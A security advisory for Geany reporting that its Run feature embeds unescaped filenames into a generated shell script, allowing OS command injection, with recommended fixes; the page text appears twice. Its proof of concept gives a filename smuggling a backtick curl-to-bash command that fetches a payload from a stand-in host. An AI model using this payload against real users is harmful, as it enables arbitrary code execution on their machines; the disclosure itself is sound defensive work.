Geany — Filename-Based Shell Injection via Run Script
| Field |
Value |
| Severity |
Critical |
| CVSS |
7.8 (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) |
| CWE |
CWE-78: OS Command Injection |
| File |
src/build.c |
| Lines |
1105–1111 |
| Affected Functions |
build_create_shellscript(), prepare_run_cmd(), generate_document_replacements() |
| Platform |
Unix (macOS, Linux) |
Description
build_create_shellscript() generates a temporary shell script to execute the user's run command. While the working directory is properly shell-quoted with g_shell_quote(), the command string (cmd) is embedded raw — without any escaping.
// build.c:1105-1111
escaped_dir = g_shell_quote(working_dir); // properly escaped
str = g_strdup_printf(
"#!/bin/sh\n\nrm $0\n\ncd %s\n\n%s\n\necho \"...\" ...",
escaped_dir, // safe
cmd); // RAW — no escaping!
The cmd value comes from prepare_run_cmd() (line 779), which substitutes document placeholders (%e, %f, %d, %p) into the build command. The generate_document_replacements() function in src/utils.c:2562 performs these substitutions using g_path_get_basename() and g_path_get_dirname() — yielding the actual filename or directory name without any shell escaping.
A filename containing shell metacharacters such as backticks (`), $(), or semicolons (;) will be substituted verbatim into the generated shell script, where the metacharacters are interpreted by /bin/sh.
Attack Scenario / POC
-
Attacker creates a file with a weaponized filename:
test`curl http://evil.example/payload.sh|bash`.c
-
Attacker sends the file to the victim (e.g. as an email attachment, in a shared repository, or via a download link).
-
Victim opens the file in Geany.
-
Victim presses F5 (Run) or clicks Execute.
-
The %e placeholder is substituted with testcurl http://evil.example/payload.sh|bash`` (the filename minus extension).
-
The generated shell script contains:
#!/bin/sh
rm $0
cd /path/to/dir
./test`curl http://evil.example/payload.sh|bash`
-
The backtick expression executes the curl | bash pipeline.
Impact
Arbitrary command execution with the victim's user privileges. This is triggered by simply running a file with a crafted name — a common and expected operation in an IDE.
Recommended Fix
Apply g_shell_quote() to the placeholder-substituted command string before embedding it into the shell script:
gchar *escaped_cmd = g_shell_quote(cmd);
str = g_strdup_printf(
"#!/bin/sh\n\nrm $0\n\ncd %s\n\n%s\n\necho \"...\" ...",
escaped_dir, escaped_cmd, ...);
g_free(escaped_cmd);
Alternatively, escape each substituted value individually within generate_document_replacements() (src/utils.c:2562), before the value is inserted into the command string.
A more robust architectural fix is to avoid the shell script entirely and pass the command directly to execve() via spawn_async_with_pipes() with a proper argument vector.
References in code
src/build.c:1094–1138 — build_create_shellscript()
src/build.c:779–844 — prepare_run_cmd()
src/utils.c:2562–2622 — generate_document_replacements()
Geany — Filename-Based Shell Injection via Run Script
src/build.cbuild_create_shellscript(),prepare_run_cmd(),generate_document_replacements()Description
build_create_shellscript()generates a temporary shell script to execute the user's run command. While the working directory is properly shell-quoted withg_shell_quote(), the command string (cmd) is embedded raw — without any escaping.The
cmdvalue comes fromprepare_run_cmd()(line 779), which substitutes document placeholders (%e,%f,%d,%p) into the build command. Thegenerate_document_replacements()function insrc/utils.c:2562performs these substitutions usingg_path_get_basename()andg_path_get_dirname()— yielding the actual filename or directory name without any shell escaping.A filename containing shell metacharacters such as backticks (
`),$(), or semicolons (;) will be substituted verbatim into the generated shell script, where the metacharacters are interpreted by/bin/sh.Attack Scenario / POC
Attacker creates a file with a weaponized filename:
Attacker sends the file to the victim (e.g. as an email attachment, in a shared repository, or via a download link).
Victim opens the file in Geany.
Victim presses F5 (Run) or clicks Execute.
The
%eplaceholder is substituted withtestcurl http://evil.example/payload.sh|bash`` (the filename minus extension).The generated shell script contains:
The backtick expression executes the
curl | bashpipeline.Impact
Arbitrary command execution with the victim's user privileges. This is triggered by simply running a file with a crafted name — a common and expected operation in an IDE.
Recommended Fix
Apply
g_shell_quote()to the placeholder-substituted command string before embedding it into the shell script:Alternatively, escape each substituted value individually within
generate_document_replacements()(src/utils.c:2562), before the value is inserted into the command string.A more robust architectural fix is to avoid the shell script entirely and pass the command directly to
execve()viaspawn_async_with_pipes()with a proper argument vector.References in code
src/build.c:1094–1138—build_create_shellscript()src/build.c:779–844—prepare_run_cmd()src/utils.c:2562–2622—generate_document_replacements()